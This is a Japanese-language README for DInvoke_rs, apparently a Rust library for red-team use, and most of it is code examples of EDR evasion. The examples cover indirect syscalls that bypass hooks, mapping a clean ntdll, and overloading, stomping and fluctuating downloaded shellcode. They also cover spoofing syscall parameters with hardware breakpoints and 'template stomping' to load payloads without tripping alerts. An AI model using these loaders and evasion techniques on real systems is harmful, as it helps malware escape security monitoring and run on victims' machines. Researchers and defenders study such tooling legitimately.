
DInvoke_rs は Dinvoke の Rust 移植版です。DInvoke_rs は、PE パース、動的なエクスポート関数の解決、実行時の PE プラグインの動的ロード、API フック回避など、さまざまな目的に使用できます。
機能:
このツールのオリジナル C# 実装の作成者にすべての功績があります:
以下の行を cargo.toml に追加して、このクレートをプロジェクトにインポートします:```rust
[dependencies]
dinvoke_rs = "0.2.2"
# 使用例
## エクスポートされたAPIの解決
以下の例は、DInvoke_rsを使用してDLL(この場合は`ntdll.dll`)のエクスポートを動的に検索して呼び出す方法を示しています。
1) ntdllのベースアドレスを取得します。
2) `get_function_address()`を使用して、`ntdll.dll`内のエクスポートを名前で検索します。これは、DLLのEATを走査して解析することで実現されます。
3) `get_function_address_by_ordinal()`を呼び出すことで、オーディナル(序数)でエクスポートを検索することもできます。```rust
fn main() {
// Dynamically obtain ntdll.dll's base address.
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
if ntdll != 0
{
println!("ntdll.dll base address is 0x{:X}", ntdll);
// Dynamically obtain the address of a function by name.
let nt_create_thread = dinvoke_rs::dinvoke::get_function_address(ntdll, "NtCreateThread");
if nt_create_thread != 0
{
println!("NtCreateThread is at address 0x{:X}", nt_create_thread);
}
// Dynamically obtain the address of a function by ordinal.
let ordinal_8 = dinvoke_rs::dinvoke::get_function_address_by_ordinal(ntdll, 8);
if ordinal_8 != 0
{
println!("The function with ordinal 8 is located at addresss 0x{:X}", ordinal_8);
}
}
}
以下の例では、DInvoke_rs を使用して RtlAdjustPrivilege を動的に呼び出し、現在のプロセスのトークンに対して SeDebugPrivilege を有効にします。この種の実行は、Win32 に存在する API フックをバイパスします。また、最終的な PE の Import Address Table にエントリを作成しないため、実行せずに PE の動作を検出することがより困難になります。```rust
fn main() {
// Dynamically obtain ntdll.dll's base address.
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
if ntdll != 0
{
unsafe
{
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which in Rust can be represented as an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(ntdll,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
}
}
}
## 間接システムコールの実行
次の例では、DInvoke_rs を使用して `NtQueryInformationProcess` 関数に対応するシステムコールを実行します。`execute_syscall!()` マクロは目的のシステムコールを実行するために必要なシェルコードを動的に割り当てて実行するため、`ntdll.dll` 内に存在するすべてのフックがバイパスされます。割り当てられたメモリはシステムコールが戻ると解放され、実行権限を持つメモリページが恒久的に存在することを回避します。```rust
use std::mem::size_of;
use windows::Win32::System::Threading::{GetCurrentProcess, PROCESS_BASIC_INFORMATION};
use dinvoke_rs::data::{NtQueryInformationProcess, PVOID};
fn main() {
unsafe
{
let function_type:NtQueryInformationProcess;
let ret: Option<i32>; //NtQueryInformationProcess returns a NTSTATUS, which is a i32.
let handle = GetCurrentProcess();
let p = PROCESS_BASIC_INFORMATION::default();
let process_information: PVOID = std::mem::transmute(&p);
let r = u32::default();
let return_length: *mut u32 = std::mem::transmute(&r);
dinvoke_rs::dinvoke::execute_syscall!(
"NtQueryInformationProcess",
function_type,
ret,
handle,
0,
process_information,
size_of::<PROCESS_BASIC_INFORMATION>() as u32,
return_length
);
let pbi: *mut PROCESS_BASIC_INFORMATION;
match ret {
Some(x) =>
if x == 0 {
pbi = std::mem::transmute(process_information);
let pbi = *pbi;
println!("The Process Environment Block base address is 0x{:X}", pbi.PebBaseAddress as u64);
},
None => println!("[x] Error executing direct syscall for NtQueryInformationProcess."),
}
}
}
この例では、DInvoke_rsを使用して、EDRフックを含まないクリーンなntdll.dllのコピーを手動でマッピングします。その後、そのクリーンなntdll.dllのコピーを使用して、任意の関数を実行できます。
この手動マッピングはメモリからも実行でき(その場合はmanually_map_module()を使用)、古典的なリフレクティブDLLインジェクションを実行できます。```rust
use dinvoke_rs::data::PeMetadata;
fn main() {
unsafe
{
let ntdll: (PeMetadata, usize) = dinvoke_rs::manualmap::read_and_map_module(r"C:\Windows\System32\ntdll.dll", true, false).unwrap();
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default();
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(ntdll.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
}
}
## メモリセクションのオーバーロード
次のサンプルでは、DInvoke_rs を使用してファイルバッキングされたメモリセクションを作成し、その後 PE を手動でマッピングしてオーバーロードします。メモリセクションは、デフォルトでは `%WINDIR%\System32\` にある正当なファイルを指しますが、他のデコイモジュールを使用することもできます。
このオーバーロードは、メモリから PE をマッピングして実行することもできます(次の例に示すとおり)。これにより、ペイロードをディスクに書き込むことなくオーバーロードを実行できます。```rust
use dinvoke_rs::data::PeMetadata;
fn main() {
unsafe
{
let payload: Vec<u8> = your_download_function();
// This will map your payload into a legitimate file-backed memory section.
let overload: (PeMetadata, usize) = dinvoke_rs::overload::overload_module(&payload, "").unwrap();
// Then any exported function of the mapped PE can be dynamically called.
// Let's say we want to execute a function with header pub fn random_function(i32, i32) -> i32
let func_ptr: unsafe extern "Rust" fn (i32, i32) -> i32; // Function header
let ret: Option<i32>; // The value that the called function will return
let parameter1: i32 = 10;
let parameter2: i32 = 20;
dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"random_function",func_ptr,ret,parameter1,parameter2);
match ret {
Some(x) =>
println!("The function returned the value {}", x),
None => panic!("[x] Error!"),
}
}
}
DInvoke_rs は、マップされた PE を使用していないときに非表示にすることができ、EDR によるメモリ検査がプロセス内の不審な dll の存在を検出するのを困難にします。
例えば、EDR フックを回避するために、ntdll.dll の新しいコピーをマップしたいとします。同じプロセス内に 2 つの ntdll.dll が存在すると不審な動作と見なされる可能性があるため、ntdll をマップし、使用していないときは常に非表示にすることができます。これはシェルコードのフラクチュエーション(変動)テクニックと非常に似ていますが、このシナリオでは、合法的なファイルバッキング付きメモリセクションに PE をマップしているという事実を利用できるため、ntdll のコンテンツを、そのセクションが指している元のデコイモジュールのコンテンツに置き換えることができます。```rust
use dinvoke_rs::dmanager::Manager;
fn main() {
unsafe
{
// The manager will take care of the hiding/remapping process and it can be used in multi-threading scenarios
let mut manager = Manager::new();
// This will map ntdll.dll into a memory section pointing to cdp.dll.
// It will return the payload (ntdll) content, the decoy module (cdp) content and the payload base address.
let overload: ((Vec<u8>, Vec<u8>), usize) = dinvoke_rs::overload::managed_read_and_overload(r"c:\windows\system32\ntdll.dll", r"c:\windows\system32\cdp.dll").unwrap();
// This will allow the manager to start taking care of the module fluctuation process over this mapped PE.
// Also, it will hide ntdll, replacing its content with the legitimate cdp.dll content.
let _r = manager.new_module(overload.1, overload.0.0, overload.0.1);
// Now, if we want to use our fresh ntdll copy, we just need to tell the manager to remap our payload into the memory section.
let _ = manager.map_module(overload.1);
// After ntdll has being remapped, we can dynamically call RtlAdjustPrivilege (or any other function) without worrying about EDR hooks.
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default();
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
// Since we dont want to use our ntdll copy for the moment, we hide it again. It can we remapped at any time.
let _ = manager.hide_module(overload.1);
}
}
## システムコールパラメータのスプーフィング
システムコールの最初の4つのパラメータをスプーフィングするために、DInvoke_rsはハードウェアブレークポイントと例外ハンドラを組み合わせたサポートを備えています。これにより、NT関数に悪意のないパラメータを送り、EDRがそれらを検査した後、syscall命令が実行される前に元のパラメータに置き換えることができます。詳細については、元のアイデアの出典であるリポジトリを確認してください: [TamperingSyscalls](https://github.com/rad9800/TamperingSyscalls)。
現時点では、この機能は `NtOpenProcess`、`NtAllocateVirtualMemory`、`NtProtectVirtualMemory`、`NtWriteVirtualMemory`、`NtCreateThreadEx` の各関数に対して実装されています。これを使用するには、機能を有効にし、例外ハンドラを設定し、Dinvokeを通じて目的の関数を呼び出すだけです。```rust
use dinvoke_rs::data::{THREAD_ALL_ACCESS, ClientId};
use windows::{Win32::Foundation::HANDLE, Wdk::Foundation::OBJECT_ATTRIBUTES};
fn main() {
unsafe
{
// We active the use of hardware breakpoints to spoof syscall parameters
dinvoke_rs::dinvoke::use_hardware_breakpoints(true);
// We get the memory address of our function and set it as a VEH
let handler = dinvoke_rs::dinvoke::breakpoint_handler as usize;
dinvoke_rs::dinvoke::add_vectored_exception_handler(1, handler);
let h = HANDLE {0: -1 as _};
let handle: *mut HANDLE = std::mem::transmute(&h);
let access = THREAD_ALL_ACCESS;
let a = OBJECT_ATTRIBUTES::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
let attributes: *mut OBJECT_ATTRIBUTES = std::mem::transmute(&a);
// We set the PID of the remote process
let remote_pid = 472isize;
let c = ClientId {unique_process: HANDLE {0: remote_pid as _}, unique_thread: HANDLE::default()};
let client_id: *mut ClientId = std::mem::transmute(&c);
// A call to NtOpenProcess is performed through Dinvoke. The parameters will be
// automatically spoofed by the function and restored to the original values
// before executing the syscall.
let ret = dinvoke_rs::dinvoke::nt_open_process(handle, access, attributes, client_id);
println!("NTSTATUS: {:x}", ret);
dinvoke_rs::dinvoke::use_hardware_breakpoints(false);
}
}
Dinvoke_rs の overload クレートでは、managed_module_stomping() 関数を呼び出すことでモジュールストンピングを実行できるようになりました。この関数の最初のパラメータはシェルコードのコンテンツです。他の2つのパラメータは関数の動作を変更し、以下に説明する3つの異なる実行パスを可能にします。
この関数を使う最良の方法は、私の意見では、正当な DLL をプロセスにロードし、Dinvoke にその DLL 内の良い場所を特定させて、そこにシェルコードをストンプさせることです。これは、DLL のベースアドレスを managed_module_stomping() の3番目のパラメータとして渡すことで実現します。2番目の引数はゼロでなければなりません。これにより、Dinvoke は DLL の Exception データを反復処理し、シェルコードをストンプするのに十分な大きさの正当な関数を探します。```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
シェルコードを上書きしたい正確な場所は、2番目のパラメータとしてメモリアドレスを渡すことで指定することもできます:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let my_big_enough_function = dinvoke_rs::dinvoke::get_function_address(my_dll, "somefunction");
let module = overload::managed_module_stomping(&payload_content, my_big_enough_function, 0);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
最後に、Dinvoke にシェルコードがスタンプされるアドレスを自動的に決定させることができます。これは、読み込まれたすべてのモジュールの Exception データを反復処理して、適切な関数が見つかるまで行うことで実現されます。このオプションは予期しない動作を引き起こす可能性があるため、他に選択肢がない場合を除いて、あまりお勧めしません。```rust let payload_content = download_function(); let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, 0);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
シェルコードがストンプされたら、`dmanager` クレートを使用してシェルコードを非表示/再ストンプし、シェルコードのフラクチュエーションを実行できます:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let overload = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll).unwrap();
let mut manager = dinvoke_rs::dmanager::Manager::new();
let _r = manager.new_shellcode(overload.1, payload_content, overload.0).unwrap(); // The manager will take care of the fluctuation process
let _r = manager.hide_shellcode(overload.1).unwrap(); // We restore the memory's original content and hide our shellcode
...
let _r = manager.stomp_shellcode(overload.1).unwrap(); // When we need our shellcode's functionality, we restomp it to the same location so we can execute it
let run: unsafe extern "system" fn () = std::mem::transmute(overload.1);
run();
let _r = manager.hide_shellcode(overload.1).unwrap(); // We hide the shellcode again
Template stomping は、モジュールストンピング手法をDLL専用に適用した派生技術です。現時点では、この技術はDLLを現在のプロセスに読み込むことのみを許可しており、リモートプロセスはサポートされていません。
主な目的は、.text セクションの内容を任意のデータに置き換えることでDLLからテンプレートを作成し、アラートを発生させることなくテンプレートをディスクに書き込めるようにすることです。このテンプレートは、LoadLibrary を呼び出すことでプロセスに読み込めるように巧妙に作られています。その後、元の .text セクションの内容をプロセスのメモリに直接ダウンロードし、テンプレートの対応するメモリ領域にストンプすることができます。この技術は、generate_template と template_stomping という2つの主要な関数を使用して効果的に実行できます。
generate_template 関数は、元のDLLから .text セクションの内容を抽出し、それを任意のデータに置き換えることでテンプレートを作成するように設計されています。これにより、テンプレートはその構造を維持しつつ、エントリポイントとTLSコールバックを除いて意味のある実行可能コードを含まないことが保証されます。エントリポイントとTLSコールバックは、ダミーではあるが機能するアセンブリ命令に置き換えられます。元の .text セクションの内容は別途 payload.bin に保存され、最終的なテンプレートファイルは template.dll に保存されます。```rust
fn main ()
{
let template = dinvoke_rs::overload::generate_template(r"C:\Path\To\payload.dll", r"C:\Path\To\Output\Directory");
match template
{
Ok(()) => { println!("Template successfully generated.");}
Err(x) => { println!("Error ocurred: {x}");}
}
}
その後、テンプレートは**対象システム**上のディスクに保存され、`LoadLibrary`を呼び出すことで現在のプロセスにロードできます。テンプレートがOSによってロードされると、次のステップは、`payload.bin`に格納されている元の実行可能コンテンツをテンプレートの`.text`セクションにストンピングすることです。この処理は`template_stomping`関数によって実行され、この関数は関連するすべての詳細を処理しながら、元の実行可能コンテンツを適切なメモリ領域にストンピングします。```rust
fn main ()
{
unsafe
{
let mut payload = http_download_payload(); // Download payload.bin content directly to memory
let stomped_dll = dinvoke_rs::overload::template_stomping(r"C:\Path\To\template.dll", &mut payload).unwrap();
println!("Stomped DLL base address: 0x{:x}", stomped_dll.1);
let function_ptr = dinvoke_rs::dinvoke::get_function_address(stomped_dll.1, "SomeRandomFunction");
let function: extern "system" fn() = std::mem::transmute(function_ptr);
function();
}
}
この技法により、実際の実行可能コンテンツをファイルシステムに書き込むことなく、DLL をディスクバックドメモリ領域にロードできます(プライベートメモリ領域を不要にし、EDR の静的/動的解析を回避します)。また、DLL をリフレクティブにロードする場合とは異なり、DLL のコード実行中もクリーンなコールスタックを維持できます。